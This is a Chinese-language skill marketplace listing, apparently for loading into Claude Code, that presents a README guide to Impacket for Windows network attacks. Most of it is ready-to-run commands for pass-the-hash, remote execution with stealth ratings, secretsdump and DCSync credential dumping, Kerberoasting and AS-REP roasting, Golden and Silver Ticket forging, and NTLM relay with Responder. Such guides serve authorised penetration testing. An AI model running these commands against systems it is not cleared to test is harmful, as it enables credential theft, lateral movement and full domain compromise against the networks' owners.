mcpField
I
impacket-toolkit

impacket-toolkit

github.com/wgpsec安全1.8k46 次安装4 天前更新
代码仓库

关于 impacket-toolkit

面向 Windows 网络安全测试人员的 Impacket 工具集使用指南,介绍以 Python 实现的协议工具,可从 Linux 远程操作 Windows 目标,无需在目标端安装软件。

主要功能

  1. 01远程命令执行
  2. 02凭据与哈希导出
  3. 03Kerberos 攻击操作
  4. 04NTLM 中继
  5. 05SMB 文件操作与枚举

适用场景

  1. 01使用密码或 NTLM 哈希远程执行命令
  2. 02导出目标或域控制器凭据
  3. 03枚举 Windows 用户和 RPC 接口
  4. 04通过 SMB 上传或下载文件

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill impacket-toolkit

安装后在 Claude Code 中输入/impacket-toolkit确认已加载。

详细介绍

来自项目 README

Impacket Windows 协议工具集

Impacket 用纯 Python 实现了 Windows 网络协议栈,在 Linux 上就能直接操作 Windows 目标——不需要在目标上安装任何东西。

项目地址:https://github.com/fortra/impacket

认证方式

Impacket 所有工具都支持多种认证方式,理解这些格式很重要:

# 密码认证
tool.py DOMAIN/user:password@TARGET

# NTLM 哈希传递 (Pass-the-Hash)
tool.py DOMAIN/user@TARGET -hashes LM:NTLM
tool.py DOMAIN/user@TARGET -hashes :NTLM  # LM 部分可省略

# Kerberos 票据认证
export KRB5CCNAME=/tmp/user.ccache
tool.py DOMAIN/user@TARGET -k -no-pass

# 本地用户(不在域内)
tool.py ./administrator:password@TARGET

远程命令执行

从无交互到全交互,选最稳定的:

# psexec — 通过 SMB 创建服务执行(最常用,需要管理员权限)
psexec.py DOMAIN/admin:password@TARGET
psexec.py DOMAIN/admin@TARGET -hashes :NTLM_HASH

# smbexec — 通过 SMB 管道执行(不上传二进制,更隐蔽)
smbexec.py DOMAIN/admin:password@TARGET

# wmiexec — 通过 WMI 执行(不创建服务,最隐蔽)
wmiexec.py DOMAIN/admin:password@TARGET

# dcomexec — 通过 DCOM 执行(备选)
dcomexec.py DOMAIN/admin:password@TARGET

# atexec — 通过计划任务执行(不需要交互式 shell)
atexec.py DOMAIN/admin:password@TARGET "whoami"
选择建议
工具协议端口隐蔽性交互式
wmiexecWMI/DCOM135⭐⭐⭐✅
smbexecSMB445⭐⭐✅
psexecSMB445⭐✅
atexec任务计划445⭐⭐❌
dcomexecDCOM135⭐⭐✅

凭据导出

# secretsdump — 域渗透最重要的工具,导出所有凭据
# 远程导出(需要域管/本地管理员)
secretsdump.py DOMAIN/admin:password@TARGET
secretsdump.py DOMAIN/admin@TARGET -hashes :NTLM_HASH

# 导出 DC 上所有域用户哈希(DCSync)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc

# 只导出 NTLM(不导出 Kerberos 密钥)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc-ntlm

# 从本地 SAM/SYSTEM 文件导出
secretsdump.py -sam SAM -system SYSTEM LOCAL

Kerberos 攻击

# AS-REP Roasting — 查找不需要预认证的账户
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# 输出喂给 hashcat -m 18200

# Kerberoasting — 获取服务票据离线破解
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# 输出喂给 hashcat -m 13100

# 获取 TGT
getTGT.py DOMAIN/user:password -dc-ip DC_IP
# 生成 user.ccache → export KRB5CCNAME=user.ccache

# 获取 ST(约束委派 S4U 利用)
getST.py DOMAIN/svc_account:password -spn cifs/TARGET -impersonate administrator -dc-ip DC_IP
# -altservice 可替换服务类型

# Silver Ticket
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -spn cifs/TARGET user

# Golden Ticket
ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -extra-sid S-1-5-21-PARENT-519 user

枚举工具

# SID 枚举(发现用户/组 RID)
lookupsid.py DOMAIN/user:password@TARGET

# RPC 枚举(暴露的接口)
rpcdump.py DOMAIN/user:password@TARGET

# SAM 用户枚举
samrdump.py DOMAIN/user:password@TARGET

# 远程注册表操作
reg.py DOMAIN/admin:password@TARGET query -keyName HKLM\\SOFTWARE

NTLM 中继

# 中继到 SMB(获取 shell 或 secretsdump)
ntlmrelayx.py -t smb://TARGET -smb2support
ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"

# 中继到 LDAP(域内 ACL 修改)
ntlmrelayx.py -t ldap://DC_IP --escalate-user user

# 中继到 ADCS Web Enrollment(ESC8)
ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController

# 配合 Responder 使用
# 终端 1: responder -I eth0 -wv(抓 NTLM)
# 终端 2: ntlmrelayx.py -t smb://TARGET(中继 NTLM)

SMB 文件操作

# SMB 客户端
smbclient.py DOMAIN/user:password@TARGET

# 列出共享
smbclient.py DOMAIN/user:password@TARGET -list

# 上传/下载文件
smbclient.py DOMAIN/user:password@TARGET
# > use SHARE_NAME
# > put local_file
# > get remote_file

决策树

需要做什么 Windows 操作?
├─ 远程执行命令 → wmiexec(隐蔽)/ psexec(稳定)
├─ 导出凭据/哈希 → secretsdump
├─ Kerberos 攻击 → GetNPUsers / GetUserSPNs
├─ NTLM 中继 → ntlmrelayx + Responder
├─ 文件操作 → smbclient
├─ 有密码 → 直接用 user:password
├─ 有 NTLM 哈希 → -hashes :NTLM(PTH)
└─ 有 Kerberos 票据 → -k -no-pass

评论

支持 Markdown